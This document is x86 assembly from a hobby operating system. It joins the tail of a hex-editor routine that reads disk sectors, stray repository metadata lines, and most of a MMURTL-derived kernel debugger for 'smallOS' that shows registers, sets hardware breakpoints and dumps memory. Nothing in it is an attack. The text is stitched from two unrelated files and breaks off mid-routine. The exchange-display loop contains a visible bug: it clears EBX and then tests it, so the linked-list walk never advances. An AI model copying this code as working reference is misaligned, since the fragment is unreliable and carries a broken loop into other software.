mov eax, ecx
call Grouping.Add
mov [HexEditor.location], ecx
mov dword [ecx+Component_keyHandlerFunc], HexEditor.locationHandlerFunc
popa
methodTraceLeave
ret
.title :
db "HexEditor [DevBuild]", 0
HexEditor.location :
dd 0x0
HexEditor.text :
dd 0x0
HexEditor.window :
dd 0x0
HexEditor.mode :
db 0x0
HexEditor.swapMode :
methodTraceEnter
pusha
xor byte [HexEditor.mode], 0x1
call HexEditor.goPopulate
popa
methodTraceLeave
ret
HexEditor.locationHandlerFunc :
methodTraceEnter
pusha
mov al, [Component.keyChar]
cmp al, 0xFE
jne .aret
call HexEditor.goPopulate
jmp .ret
.aret :
call TextArea.onKeyboardEvent.handle
.ret :
popa
methodTraceLeave
ret
HexEditor.goPopulate :
methodTraceEnter
pusha
mov ebx, [HexEditor.text]
mov dword [ebx+Textarea_cursorPos], 0
mov eax, [ebx+Textarea_text]
mov ebx, 3*0x200
call Buffer.clear
mov ebx, [HexEditor.location]
mov ebx, [ebx+Textarea_text]
call Integer.hexFromString
;mov [.loc], ecx
mov eax, ecx
xor ebx, ebx
mov edx, 0x200
mov ecx, [Minnow5._dat]
call AHCI.DMAreadToBuffer
xor edx, edx
.printLoop :
mov eax, .strdata
mov ebx, 10
call Buffer.clear
xor ebx, ebx
mov bl, [ecx]
cmp byte [HexEditor.mode], 1
jne .asHex
mov [eax], bl
jmp .getOutDone
.asHex :
call String.fromHex
.getOutDone :
cmp byte [HexEditor.mode], 1
jne .noEnterFix
cmp byte [eax], 0xFE
jne .noEnterFix
mov byte [eax], 0x0
.noEnterFix :
pusha
mov ebx, eax
call String.getLength
cmp edx, 3
je .nofix
mov ebx, [HexEditor.text]
cmp edx, 1
jne .noDoubleFix
mov al, ' '
call TextArea.AppendChar
.noDoubleFix :
mov al, '0'
cmp byte [HexEditor.mode], 1
jne .noMod
mov al, ' '
.noMod :
call TextArea.AppendChar
.nofix :
popa
mov ebx, [HexEditor.text]
call TextArea.AppendText
mov al, ' '
call TextArea.AppendChar
inc ecx
inc edx
cmp edx, 0x200
jb .printLoop
popa
methodTraceLeave
ret
.strdata :
times 5 dw 0
| 17.176471
| 73
| 0.687671
|
490c590edda2293eab817546dca5d85f0dadc99e
| 30,671
|
asm
|
Assembly
|
OSSOURCE/debugger.asm
|
mooseman/smallOS
|
a4468b69e8372350310828d5b72b56fb5e3a0fa8
|
[
"Unlicense"
] | 3
|
2015-11-05T09:13:10.000Z
|
2021-03-24T13:30:27.000Z
|
OSSOURCE/debugger.asm
|
mooseman/smallOS
|
a4468b69e8372350310828d5b72b56fb5e3a0fa8
|
[
"Unlicense"
] | null | null | null |
OSSOURCE/debugger.asm
|
mooseman/smallOS
|
a4468b69e8372350310828d5b72b56fb5e3a0fa8
|
[
"Unlicense"
] | 1
|
2017-03-30T12:46:43.000Z
|
2017-03-30T12:46:43.000Z
|
; debugger.asm
;
; smallOS source code is based on the source code
; for the public-domain MMURTL OS
; which was written by Richard A. Burgess.
; Many thanks to Richard for writing that OS.
;
; This code is released to the public domain.
; "Share and enjoy....." ;)
;
;
.DATA
.INCLUDE MOSEDF.INC
.INCLUDE TSS.INC
.INCLUDE RQB.INC
.INCLUDE JOB.INC
.ALIGN DWORD
;External near Variables
EXTRN rgTmrBlks DD
EXTRN pJCBs DD
EXTRN RdyQ DD
EXTRN rgPAM DB
;debugger variables and buffers
PUBLIC DbgpTSSSave DD 0 ;TO save the TSS we interrupted
PUBLIC dbgFAULT DD 0FFh ;0FFh is NO FAULT
PUBLIC dbgFltErc DD 0
PUBLIC dbgOldEIP DD 0
PUBLIC dbgOldCS DD 0
PUBLIC dbgOldEflgs DD 0
DbgVidSave DD 0 ;To save interrupted video user
dbgBuf DB '00000000' ;General use buffers
dbgBuf2 DB '0000000000'
.ALIGN DWORD
cbBufLen2 DD 0 ;Active bytes in buf2
dbgKeyCode DD 0 ;For ReadDbgKbd
NextEIP DD 0 ;For Disassem display (next ins to be executed)
dbgGPdd1 DD 0 ;General purpose DDs (used all over)
dbgGPdd2 DD 0 ;
dbgGPdd3 DD 0 ;
dbgGPdd4 DD 0 ;
dbgGPdd5 DD 0 ;
dbgGPdd6 DD 0 ;flag 1 = Msg, 0 = Exch
dbgNextAdd DD 0 ;Address we are setting as next
dbgCrntAdd DD 0 ;Address of instructions we are displaying
dbgDumpAdd DD 0 ;Address we are dumping
dbgX DD 0 ;For line and column display coordination
dbgY DD 0
dbgBPAdd DD 0 ;Crnt Breakpoint Linear addresses
dbgfDumpD DB 0 ;Boolean- are we dumping DWORDS?
fDbgInit DB 0 ;Has Dbg Video been initialized?
dbgCRLF DB 0Dh, 0Ah ;CR LF for Dump etc...
dbgChar DB 0
dbgMenu DB 'SStep',0B3h,'SetBP',0B3h,'ClrBP',0B3h,'CS:EIP '
DB 'Exchs',0B3h,'Tasks',0B3h,' ',0B3h,'CrntAddr'
DB 'DumpB',0B3h,'DumpD',0B3h,' ',0B3h,'AddInfo '
dbgSpace DB ' '
dbgCont DB 'ENTER to continue, ESC to quit.'
dbgClear DB ' ' ;40 bytes
dbgAsterisk DB 42
; 0123456789012345678901234567890123456789012345678901234
dbgExchMsg DB 'Exch Owner dMsgLo dMsgHi Task'
; 0123456789012345678901234567890123456789012345678901234
dbgTaskMsg DB 'Task# Job pJCB pTSS Priority '
;For Debugger entry conditions
dbgFltMsg DB 'FATAL Processor Exception/Fault: '
sdbgFltMsg DD $-dbgFltMsg
;Register display text
dbgTxt00 DB 0B3h,'TSS: '
dbgTxt01 DB 0B3h,'EAX: '
dbgTxt02 DB 0B3h,'EBX: '
dbgTxt03 DB 0B3h,'ECX: '
dbgTxt04 DB 0B3h,'EDX: '
dbgTxt05 DB 0B3h,'ESI: '
dbgTxt06 DB 0B3h,'EDI: '
dbgTxt07 DB 0B3h,'EBP: '
dbgTxt08 DB 0B3h,' SS: '
dbgTxt09 DB 0B3h,'ESP: '
dbgTxt10 DB 0B3h,' CS: '
dbgTxt11 DB 0B3h,'EIP: '
dbgTxt12 DB 0B3h,' DS: '
dbgTxt13 DB 0B3h,' ES: '
dbgTxt14 DB 0B3h,' FS: '
dbgTxt15 DB 0B3h,' GS: '
dbgTxt16 DB 0B3h,'EFL: '
dbgTxt17 DB 0B3h,'CR0: '
dbgTxt18 DB 0B3h,'CR2: '
dbgTxt19 DB 0B3h,'CR3: '
dbgTxt20 DB 0B3h,'Erc: '
dbgTxtAddr DB 'Linear address: '
;For Important Address Info Display
dbgM0 DB 'IDT: '
dbgM1 DB 'GDT: '
dbgM2 DB 'RQBs: '
dbgM3 DB 'TSS1: '
dbgM4 DB 'TSS3: '
dbgM5 DB 'LBs: '
dbgM6 DB 'RdyQ: '
dbgM7 DB 'JCBs: '
dbgM8 DB 'SVCs: '
dbgM9 DB 'Exch: '
dbgPA DB 'PAM: '
dbgMB DB 'aTmr: '
;==================== End Data, Begin Code ==========================
.CODE
EXTRN DDtoHex NEAR
EXTRN HexToDD NEAR
EXTRN _disassemble NEAR
EXTRN ReadDbgKbd NEAR
PUBLIC DbgTask:
MOV EAX, OFFSET DbgVidSave ;Save number of vid we interrupted
PUSH EAX
CALL FWORD PTR _GetVidOwner
STI
PUSH 2
CALL FWORD PTR _SetVidOwner ;Dbgr is Job 2
CMP fDbgInit, 0
JNE DbgInitDone
CALL FWORD PTR _ClrScr
MOV fDbgInit, 1
DbgInitDone:
MOV EAX, DbgpTSSSave
;When a fault or debug exception occurs, the values of
;the Instruction Pointer, Code Seg, and flags are not the
;way they were when the exception fired off becuase of the
;interrupt procedure they enterred to get to the debugger.
;We make them the same by putting the values we got from
;the stack (entering the debugger) into the caller's TSS.
;
MOV EBX,dbgOldEflgs ;Store correct flags
MOV [EAX+TSS_EFlags],EBX ;EAX still has DbgpTSSSave
MOV EBX,dbgOldCS ;Store correct CS
MOV [EAX+TSS_CS],BX
MOV EBX,dbgOldEIP ;Store correct EIP
MOV [EAX+TSS_EIP],EBX
;
;NOTE: The "book" says the TF flag is reset by the processor
; when the handler is entered. This only applies if
; the handler is a procedure (NOT a task). The debugger
; is always entered as a procedure, (we chanage the tasks)
; so we shouldn't have to reset it. But we do...
; I guess I'm not reading it right or ROD SERLING LIVES!
;
MOV EBX,[EAX+TSS_EFlags] ;Reset TF in case single steping
AND EBX,0FFFFFEFFh
MOV [EAX+TSS_EFlags],EBX
;We set the FAULT variable based on which interrupt
;procedure was entered.
CMP DWORD PTR dbgFAULT,0FFh ;Was the dbgr entered on a FAULT?
JE dbg000 ;NO
;
;NOTE: Must eventually add SS/ESP for a change in CPL on faults!!!
;REF - See page 3-4 System Software Writer's Guide
XOR EAX, EAX
PUSH EAX ;Display fault message and
PUSH EAX ; and number at 0 ,0
CALL FWORD PTR _SetXY
LEA EAX,dbgFltMsg
PUSH EAX
PUSH sdbgFltMsg
PUSH 40h ;Color Black on RED
CALL FWORD PTR _TTYOut
MOV EAX,dbgFAULT
PUSH EAX
PUSH OFFSET dbgBuf
CALL DDtoHex
LEA EAX,dbgBuf
PUSH EAX
PUSH 8
PUSH 70h
CALL FWORD PTR _TTYOut
MOV DWORD PTR dbgFAULT, 0FFh ;reset fault indicator
LEA EAX,dbgCRLF
PUSH EAX
PUSH 2
PUSH 07h ;Color White on black
CALL FWORD PTR _TTYOut
XOR EAX, EAX
MOV dbgX, EAX ;Reset X & Y to 0,1
INC EAX
MOV dbgY, EAX
;===================================================================
dbg000:
CALL DbgRegVid ;Display BackLink's Register values
CALL dbgDispMenu ;Display menu
PUSH dbgX ;Back to where we were
PUSH dbgY
CALL FWORD PTR _SetXY
;Display Instruction at CS:EIP
MOV EBX,DbgpTSSSave ;Get USER pUserTSS
MOV EAX, [EBX+TSS_EIP]
MOV dbgCrntAdd, EAX
CALL dbgShowBP
PUSH EAX
CALL _disassemble ;This puts the instruction on the line
MOV NextEIP, EAX
CALL dbgCheckScroll ;Fall through to keyboard loop
;===========================================================
;Now we read the keyboard
dbg00:
MOV EAX, OFFSET dbgKeyCode
PUSH EAX
CALL ReadDbgKbd ;
MOV EAX, dbgKeyCode
AND EAX, 0FFh ;Lop off key status bytes
CMP EAX, 1Bh ;ESCAPE (Exit)
JE dbgExit
CMP EAX, 0Fh ;Single Step (F1)
JNE dbg02
MOV EBX,DbgpTSSSave ;Get USER pUserTSS
MOV ECX,[EBX+TSS_EFlags] ;
OR ECX,00000100h ;Set TF in flags for single step
MOV [EBX+TSS_EFlags],ECX
JMP dbgExit
dbg02:
CMP EAX, 10h ;Set BP (Current Address - F2)
JNE dbg03
MOV EBX, dbgCrntAdd ;Address displayed
MOV dbgBPAdd, EBX ;Save it so we know where BP is
MOV DR0, EBX ;Move into BreakPoint Reg 0
XOR EAX, EAX
MOV DR6, EAX
MOV EAX, 00000002h ;BP0 Set global
MOV DR7, EAX
JMP dbg00 ;
dbg03:
CMP EAX, 11h ;Clear BP (Current Address - F3)
JNE dbg04
XOR EAX, EAX
MOV dbgBPAdd, EAX ;Clear BP saved address
MOV DR7, EAX
JMP dbg00 ;
dbg04:
CMP EAX, 12h ;Return to CS:EIP (F4)
JNE dbg05
MOV EBX,DbgpTSSSave ;Get USER pUserTSS
MOV EAX, [EBX+TSS_EIP]
MOV dbgCrntAdd, EAX
CALL dbgShowBP
PUSH EAX
CALL _disassemble ;This puts the instruction on the line
MOV NextEIP, EAX
CALL dbgCheckScroll ;See if we need to scroll up
JMP dbg00 ;
dbg05:
CMP EAX, 13h ;Display Exchanges (F5)
JNE dbg06
CALL dbgDispExchs
JMP dbg000 ;Full display
dbg06:
CMP EAX, 14h ;Task array display (F6)
JNE dbg07
CALL dbgDispTasks
JMP dbg000 ;
dbg07:
CMP EAX, 15h ;Not used yet
JNE dbg08
JMP dbg00 ;
dbg08:
CMP AL, 16h ;Set Disassembly Address (F8)
JNE dbg09
CALL dbgSetAddr ;Sets NextEIP
PUSH dbgX ;Back to where we were
PUSH dbgY
CALL FWORD PTR _SetXY
MOV EAX, NextEIP
MOV dbgCrntAdd, EAX
CALL dbgShowBP
PUSH EAX
CALL _disassemble ;This puts the instruction on the line
MOV NextEIP, EAX
CALL dbgCheckScroll ;See if we need to scroll up
JMP dbg00 ;
dbg09:
CMP AL, 17h ;Memory Dump Bytes (F9)
JNE dbg10
MOV BL, 00
MOV dbgfDumpD, BL
CALL dbgDump ;
JMP dbg000
dbg10:
CMP AL, 18h ;Memory Dump DWORDS (F10)
JNE dbg12
MOV BL, 0FFh
MOV dbgfDumpD, BL
CALL dbgDump ;
JMP dbg000
dbg12:
CMP AL, 01Ah ;Info Address dump (F12)
JNE dbg13
CALL DbgInfo ;
JMP dbg00
dbg13: CMP AL, 02h ;Display next Instruction (Down Arrow)
JNE dbg14
MOV EAX, NextEIP
MOV dbgCrntAdd, EAX
CALL dbgShowBP
PUSH EAX
CALL _disassemble ;This puts the instruction on the line
MOV NextEIP, EAX
CALL dbgCheckScroll ;See if we need to scroll up
JMP dbg00
dbg14:
JMP dbg00 ;GO back for another key
DbgExit:
LEA EAX,dbgX ;Query XY
PUSH EAX
LEA EAX,dbgY
PUSH EAX
CALL FWORD PTR _GetXY
PUSH DbgVidSave
CALL FWORD PTR _SetVidOwner ;Change screens back
MOV EAX, DbgpTSSSave ;Return saved pRunTSS
MOV pRunTSS, EAX
MOV BX, [EAX+Tid]
MOV TSS_Sel, BX ;Set up caller's TSS selector
JMP FWORD PTR [TSS]
;Next time we enter the debugger task it will be here!
JMP DbgTask ;Back to begining
;==============================================================
dbgShowBP:
;This compares the current breakpoint the address
;we are about to display. If they are the same,
;we put up an asterisk to indicate it's the breakpoint
;EAX must be preserved
MOV EBX, dbgCrntAdd ;Address displayed
MOV ECX, dbgBPAdd ;BP Address
CMP EBX, ECX
JZ dbgShowBP1
RETN
dbgShowBP1:
PUSH EAX ;Save EAX across call
PUSH OFFSET dbgAsterisk ;3 params to TTYOut
PUSH 01h
PUSH 47h ;Reverse Vid WHITE on RED
CALL FWORD PTR _TTYOut
POP EAX
RETN
;==============================================================
;This sets up and calls to display all of the regsiter
;information on the right side of the debugger video display
DbgRegVid:
MOV EBX,DbgpTSSSave ;EBX MUST be DbgpTSSSave
MOV ECX,00 ;TSS Display
MOV ESI,OFFSET DbgTxt00
XOR EAX,EAX
MOV AX,[EBX+TSSNum] ;Number of this TSS
CALL DispRegs
MOV ECX,01 ;EAX Display
MOV ESI,OFFSET DbgTxt01
MOV EAX,[EBX+TSS_EAX]
CALL DispRegs
MOV ECX,02 ;EBX Display
MOV ESI,OFFSET DbgTxt02
MOV EAX,[EBX+TSS_EBX]
CALL DispRegs
MOV ECX,03 ;ECX Display
MOV ESI,OFFSET DbgTxt03
MOV EAX,[EBX+TSS_ECX]
CALL DispRegs
MOV ECX,04 ;EDX Display
MOV ESI,OFFSET DbgTxt04
MOV EAX,[EBX+TSS_EDX]
CALL DispRegs
MOV ECX,05 ;ESI Display
MOV ESI,OFFSET DbgTxt05
MOV EAX,[EBX+TSS_ESI]
CALL DispRegs
MOV ECX,06 ;EDI Display
MOV ESI,OFFSET DbgTxt06
MOV EAX,[EBX+TSS_EDI]
CALL DispRegs
MOV ECX,07 ;EBP Display
MOV ESI,OFFSET DbgTxt07
MOV EAX,[EBX+TSS_EBP]
CALL DispRegs
MOV ECX,08 ;SS Display
MOV ESI,OFFSET DbgTxt08
XOR EAX,EAX
MOV AX,[EBX+TSS_SS]
CALL DispRegs
MOV ECX,09 ;ESP Display
MOV ESI,OFFSET DbgTxt09
MOV EAX,[EBX+TSS_ESP]
CALL DispRegs
MOV ECX,10 ;CS Display
MOV ESI,OFFSET DbgTxt10
XOR EAX,EAX
MOV AX,[EBX+TSS_CS]
CALL DispRegs
MOV ECX,11 ;EIP Display
MOV ESI,OFFSET DbgTxt11
MOV EAX,[EBX+TSS_EIP]
CALL DispRegs
MOV ECX,12 ;DS Display
MOV ESI,OFFSET DbgTxt12
XOR EAX,EAX
MOV AX,[EBX+TSS_DS]
CALL DispRegs
MOV ECX,13 ;ES Display
MOV ESI,OFFSET DbgTxt13
XOR EAX,EAX
MOV AX,[EBX+TSS_ES]
CALL DispRegs
MOV ECX,14 ;FS Display
MOV ESI,OFFSET DbgTxt14
XOR EAX,EAX
MOV AX,[EBX+TSS_FS]
CALL DispRegs
MOV ECX,15 ;GS Display
MOV ESI,OFFSET DbgTxt15
XOR EAX,EAX
MOV AX,[EBX+TSS_GS]
CALL DispRegs
MOV ECX,16 ;EFlags Display
MOV ESI,OFFSET DbgTxt16
MOV EAX,[EBX+TSS_EFlags]
CALL DispRegs
MOV ECX,17 ;CR0 Display
MOV ESI,OFFSET DbgTxt17
MOV EAX,CR0
CALL DispRegs
MOV ECX,18 ;CR2 Display
MOV ESI,OFFSET DbgTxt18
MOV EAX,CR2
CALL DispRegs
MOV ECX,19 ;CR3 Display
MOV ESI,OFFSET DbgTxt19
MOV EAX,CR3
CALL DispRegs
MOV ECX,20 ;Fault Error Code Display
MOV ESI,OFFSET DbgTxt20
MOV EAX,dbgFltErc
CALL DispRegs
RETN
;=============================================================================
;
; This is for Debugger Register display
; Call with: EAX loaded with value to display (from TSS reg)
; ECX loaded with number of text line to display on
; ESI loaded with EA of text line to display
; We save all registers cause the vid calls don't
DispRegs:
PUSHAD
PUSH EAX ;Save number to display
PUSH 66
PUSH ECX
CALL FWORD PTR _SetXY
PUSH ESI
PUSH 05h
PUSH 07h
CALL FWORD PTR _TTYOut
POP EAX ;Get number back for display
PUSH EAX
PUSH OFFSET dbgBuf
CALL DDtoHex
PUSH OFFSET dbgBuf
PUSH 8
PUSH 07h
CALL FWORD PTR _TTYOut
POPAD
RETN
;==============================================
; This displays the debugger function key menu
dbgDispMenu:
PUSH 0 ;Display Debugger FKey Menu
PUSH 24
CALL FWORD PTR _SetXY
LEA EAX,dbgMenu
PUSH EAX
PUSH 78
PUSH 70h
CALL FWORD PTR _TTYOut
PUSH 25
PUSH 24
CALL FWORD PTR _SetXY
LEA EAX,dbgSpace
PUSH EAX
PUSH 1
PUSH 07h
CALL FWORD PTR _TTYOut
PUSH 51
PUSH 24
CALL FWORD PTR _SetXY
LEA EAX,dbgSpace
PUSH EAX
PUSH 1
PUSH 07h
CALL FWORD PTR _TTYOut
RETN
;===========================
;Allows the user to pick the currently displayed address
dbgSetAddr:
PUSH 0 ;Goto Query Line
PUSH 23 ;
CALL FWORD PTR _SetXY
LEA EAX, dbgTxtAddr
PUSH EAX
PUSH 16
PUSH 07h
CALL FWORD PTR _TTYOut
CMP EAX, 0
JNE DumpDone
LEA EAX, DbgBuf2 ;
PUSH EAX ;pEdString
PUSH cbBufLen2 ;Crnt size
PUSH 8 ;Max size
LEA EAX, cbBufLen2 ;
PUSH EAX ;ptr to size returned
LEA EAX, dbgChar ;
PUSH EAX ;ptr to char returned
PUSH 70h ;Black On White
CALL FWORD PTR _EditLine ;Ignore error if any
MOV AL, dbgChar ;did they exit with CR?
CMP AL, 0Dh
JNE dbgSetAddrDone
LEA EAX, dbgBuf2 ;Convert String to DD
PUSH EAX ;ptr to string
LEA EAX, dbgNextAdd
PUSH EAX ;ptr to destination DD
PUSH cbBufLen2 ;length of string
CALL HexToDD ;dbgDumpAdd has address to dump!
CMP EAX, 0
JNE dbgSetAddrDone
MOV EAX, dbgNextAdd
MOV NextEIP, EAX
dbgSetAddrDone:
CALL dbgClearQuery
RETN ;Go home...
;===========================
;Queries user for address then dumps data to screen
dbgDump:
PUSH 0 ;Goto Query Line
PUSH 23 ;
CALL FWORD PTR _SetXY
LEA EAX, dbgTxtAddr
PUSH EAX
PUSH 16
PUSH 07h
CALL FWORD PTR _TTYOut
CMP EAX, 0
JNE DumpDone
LEA EAX, DbgBuf2 ;
PUSH EAX ;pEdString
PUSH cbBufLen2 ;Crnt size
PUSH 8 ;Max size
LEA EAX, cbBufLen2 ;
PUSH EAX ;ptr to size returned
LEA EAX, dbgChar ;
PUSH EAX ;ptr to char returned
PUSH 70h ;Black On White
CALL FWORD PTR _EditLine ;Ignore error if any
MOV AL, dbgChar ;did they exit with CR?
CMP AL, 0Dh
JE dbgDoDump
CALL dbgClearQuery
RETN ;Go home...
dbgDoDump:
LEA EAX, dbgBuf2 ;Convert String to DD
PUSH EAX ;ptr to string
LEA EAX, dbgDumpAdd
PUSH EAX ;ptr to destination DD
PUSH cbBufLen2 ;length of string
CALL HexToDD ;dbgDumpAdd has address to dump!
CMP EAX, 0
JNE DumpDone
CALL FWORD PTR _ClrScr
dbgDump00:
MOV DWORD PTR dbgGPdd1, 24 ;line counter begins at 24
dbgDump01:
MOV DWORD PTR dbgGPdd3, 4 ;number of quads per line
PUSH dbgDumpAdd ;convert address to text
LEA EAX, dbgBuf
PUSH EAX
CALL DDtoHex
LEA EAX, dbgBuf
PUSH EAX
PUSH 8
PUSH 07h
CALL FWORD PTR _TTYOut
CMP EAX, 0
JNE DumpDone
dbgDump02:
MOV DWORD PTR dbgGPdd2, 6 ;byte offset begins at 6
LEA EAX, dbgSpace
PUSH EAX
PUSH 2
PUSH 07h
CALL FWORD PTR _TTYOut
CMP EAX, 0
JNE DumpDone
MOV EBX, dbgDumpAdd ;get dump address
MOV EAX, [EBX] ;Get what it's pointing to
PUSH EAX ;make it a DD Text
LEA EAX, dbgBuf
PUSH EAX
CALL DDtoHex
MOV AL, dbgfDumpD ;Dumping DWORDS
CMP AL, 0
JE DumpB ;NO - go to display bytes
LEA EAX, dbgBuf ;Yes display Quad
PUSH EAX
PUSH 8
PUSH 07
CALL FWORD PTR _TTYOut
JMP DumpDin
dumpB:
LEA EAX, dbgBuf ;Display First byte
ADD EAX, dbgGPdd2
PUSH EAX
PUSH 2
PUSH 07h
CALL FWORD PTR _TTYOut ;ignore error
LEA EAX, dbgSpace ;Display 1 spaces
PUSH EAX
PUSH 1
PUSH 07h
CALL FWORD PTR _TTYOut
DEC dbgGPdd2 ;point to second 2 bytes
DEC dbgGPdd2
LEA EAX, dbgBuf ;display 2st byte
ADD EAX, dbgGPdd2
PUSH EAX
PUSH 2
PUSH 07h
CALL FWORD PTR _TTYOut ;ignore error
LEA EAX, dbgSpace ; display 1 space
PUSH EAX
PUSH 1
PUSH 07h
CALL FWORD PTR _TTYOut
DEC dbgGPdd2
DEC dbgGPdd2
LEA EAX, dbgBuf ;display 3rd byte
ADD EAX, dbgGPdd2
PUSH EAX
PUSH 2
PUSH 07h
CALL FWORD PTR _TTYOut ;ignore error
LEA EAX, dbgSpace ;a space
PUSH EAX
PUSH 1
PUSH 07h
CALL FWORD PTR _TTYOut
DEC dbgGPdd2
DEC dbgGPdd2
LEA EAX, dbgBuf ;display 4th byte
ADD EAX, dbgGPdd2
PUSH EAX
PUSH 2
PUSH 07h
CALL FWORD PTR _TTYOut ;ignore error
DumpDin:
INC dbgDumpAdd
INC dbgDumpAdd
INC dbgDumpAdd
INC dbgDumpAdd
DEC dbgGPdd3 ;done with 4 quads??
JNZ dbgDump02 ;NO - go back for next 4 bytes
LEA EAX, dbgSpace ;Yes - Display 2 spaces
PUSH EAX
PUSH 2
PUSH 07h
CALL FWORD PTR _TTYOut
LEA EAX,dbgX ;Query XY
PUSH EAX
LEA EAX,dbgY
PUSH EAX
CALL FWORD PTR _GetXY
PUSH dbgX ;Put 16 TEXT chars on right
PUSH dbgY
MOV EAX, dbgDumpAdd
SUB EAX, 16
PUSH EAX
PUSH 16
PUSH 07h
CALL FWORD PTR _PutVidChars ;ignore error
LEA EAX, dbgCRLF ;Do CR/LF
PUSH EAX
PUSH 2
PUSH 07h
CALL FWORD PTR _TTYOut
;
DEC dbgGPdd1 ;23lines yet??
JNZ dbgDump01 ;NO
;
LEA EAX, dbgCont ;"Continue" Text
PUSH EAX
PUSH 31 ;size of "cont text"
PUSH 07h
CALL FWORD PTR _TTYOut
dbgDump03:
MOV EAX, OFFSET dbgKeyCode
PUSH EAX
CALL ReadDbgKbd
MOV EAX, dbgKeyCode
AND EAX, 0FFh ;Lop off key status bytes
CMP EAX, 0
JE dbgDump03
CMP EAX, 1Bh ;Escape (Quit??)
JE DumpDone
LEA EAX, dbgCRLF ;Do CR/LF
PUSH EAX
PUSH 2
PUSH 07h
CALL FWORD PTR _TTYOut
JMP dbgDump00
;
DumpDone:
CALL FWORD PTR _ClrScr
MOV DWORD PTR dbgX, 0
MOV DWORD PTR dbgY, 0
RETN
;===========================
;Displays exchanges that are allocated along with
;messages or tasks that may be wiating at them
dbgDispExchs:
MOV DWORD PTR dbgGPdd2, 0 ;Exch# we are on
dbgDE00:
CALL FWORD PTR _ClrScr
PUSH 0 ;Col
PUSH 0 ;Line for labels
PUSH OFFSET dbgExchMsg ;
PUSH 54 ;Length of message
PUSH 07h
CALL FWORD PTR _PutVidChars ;
MOV DWORD PTR dbgGPdd1, 1 ;line we are one
;First we do the exchange on the current line
dbgDE01:
PUSH dbgGPdd2 ;Convert Exch number for display
PUSH OFFSET dbgBuf
CALL DDtoHex
PUSH 0 ;Col
PUSH dbgGPdd1 ;Line we are one
PUSH OFFSET dbgBuf ;ExchNum
PUSH 8
PUSH 07h
CALL FWORD PTR _PutVidChars ;
;Then we do the Exch Owner (Job Number) next to it
MOV EAX, dbgGPdd2 ; Exch number
MOV EDX, sEXCH ; Compute offset of Exch in rgExch
MUL EDX ;
MOV EDX,prgExch ; Add offset of rgExch => EAX
ADD EAX,EDX ; EAX now pts to Exch
MOV dbgGPdd3, EAX ; pExch into save variable
MOV EBX, [EAX+Owner] ; pJCB of Owner into EBX
XOR EAX, EAX ; Clear for use as JobNum
OR EBX, EBX ; pNIL? (No owner if so)
JZ dbgDE03
MOV EAX, [EBX+JobNum] ;
dbgDE03:
PUSH EAX ;Convert Job Number
PUSH OFFSET dbgBuf
CALL DDtoHex
PUSH 10 ;Col
PUSH dbgGPdd1 ;Line
PUSH OFFSET dbgBuf ;
PUSH 8
PUSH 07h
CALL FWORD PTR _PutVidChars ;
MOV dbgGPdd5, 0 ;Set pNextMsg to 0
;See if there is a first message
MOV EAX, dbgGPdd3 ;pExch -> EAX
MOV EBX, [EAX+EHead] ;pMsg -> EBX
OR EBX, EBX ;Is is NIL (no msg or task)?
JZ dbgDE13 ;Yes. Go to next Exch
MOV EBX, [EAX+fEMsg] ;MsgFlag -> EBX
OR EBX, EBX ;Is is 1 (a message)?
JZ dbgDE05 ;No, Go check for tasks
MOV EBX, [EAX+EHead] ;pMsg -> EBX
;Display Messages
dbgDE04:
MOV DWORD PTR dbgGPdd6, 0 ;Flag to indicate we are doing messages
MOV EAX, [EBX+NextLB] ;For next msg in chain (if it exists)
MOV dbgGPdd5, EAX ;Save for loop
MOV EAX, [EBX+DataHi] ;Get dMsg1
MOV EDX, [EBX+DataLo] ;Get dMsg2
PUSH EDX ;Save dMsg2
PUSH EAX ;Convert dMsg1
PUSH OFFSET dbgBuf
CALL DDtoHex
PUSH 20 ;Col
PUSH dbgGPdd1 ;Line
PUSH OFFSET dbgBuf ;
PUSH 8
PUSH 07h
CALL FWORD PTR _PutVidChars ;
POP EDX ;Get dMsg2 back
;Could have left it on stack, but would be confusing later...
;"simplicity of maintenance is as important as simplicity of design"
PUSH EDX ;Convert dMsg2
PUSH OFFSET dbgBuf
CALL DDtoHex
PUSH 30 ;Col
PUSH dbgGPdd1 ;Line
PUSH OFFSET dbgBuf ;
PUSH 8
PUSH 07h
CALL FWORD PTR _PutVidChars ;
JMP dbgDE07 ;Next line please
;See if there are tasks waiting
dbgDE05:
MOV DWORD PTR dbgGPdd6, 1 ;Flag to indicate we are doing tasks
MOV DWORD PTR dbgGPdd5, 0 ;Clear pNextTask
MOV EAX, dbgGPdd3 ;pExch -> EAX
MOV EBX, [EAX+EHead] ;pTSS -> EBX
OR EBX, EBX ;Is is 0 (no TSS)?
JZ dbgDE07 ;
dbgDE06:
MOV EAX, [EBX+NextTSS]
MOV dbgGPdd5, EAX ;Save ptr to next task if it exists
XOR EAX, EAX
MOV AX, [EBX+TSSNum] ;Get Number of Task at exch
PUSH EAX ;Convert Task Number
PUSH OFFSET dbgBuf
CALL DDtoHex
PUSH 50 ;Col
PUSH dbgGPdd1 ;Line
PUSH OFFSET dbgBuf ;
PUSH 8
PUSH 07h
CALL FWORD PTR _PutVidChars ;
dbgDE07:
INC dbgGPdd1 ;Next line
CMP DWORD PTR dbgGPdd1, 23 ;23 lines yet?
JB dbgDE09 ;No
;
dbgDE08:
PUSH 0 ;Col
PUSH 24 ;Line
PUSH OFFSET dbgCont ;
PUSH 31 ;length of Cont string
PUSH 07h
CALL FWORD PTR _PutVidChars ;
MOV EAX, OFFSET dbgKeyCode
PUSH EAX
CALL ReadDbgKbd
MOV EAX, dbgKeyCode
AND EAX, 0FFh ;Lop off key status bytes
CMP EAX, 1Bh ;Escape (Quit??)
JE dbgDEDone
CMP DWORD PTR dbgGPdd2, nDynEXCH ; Number of dynamic exchanges
JAE dbgDEDone ; All Exchs displayed
CALL FWORD PTR _ClrScr ;
PUSH 0 ;Col
PUSH 0 ;Line for labels
PUSH OFFSET dbgExchMsg ;
PUSH 54 ;Length of message
PUSH 07h
CALL FWORD PTR _PutVidChars ;
MOV DWORD PTR dbgGPdd1, 1 ;line. We are on line 1 again
dbgDE09:
MOV EBX, dbgGPdd5 ;Set up to loop for next msg/task
XOR EBX, EBX ;Another pointer in the link?
JZ dbgDE13 ;No
MOV EAX, dbgGPdd6 ;
OR EAX, EAX ;NonZero if we are doing tasks
JNZ dbgDE06 ;Tasks
JMP dbgDE04 ;Messages
dbgDE13:
INC dbgGPdd2 ; Exch number
CMP DWORD PTR dbgGPdd2, nDynEXCH ; Number of dynamic exchanges
JAE dbgDE08 ; Go back for prompt (to pause)
JMP dbgDE01 ; Back to display new exch num
dbgDEDone:
CALL FWORD PTR _ClrScr
MOV DWORD PTR dbgX, 0
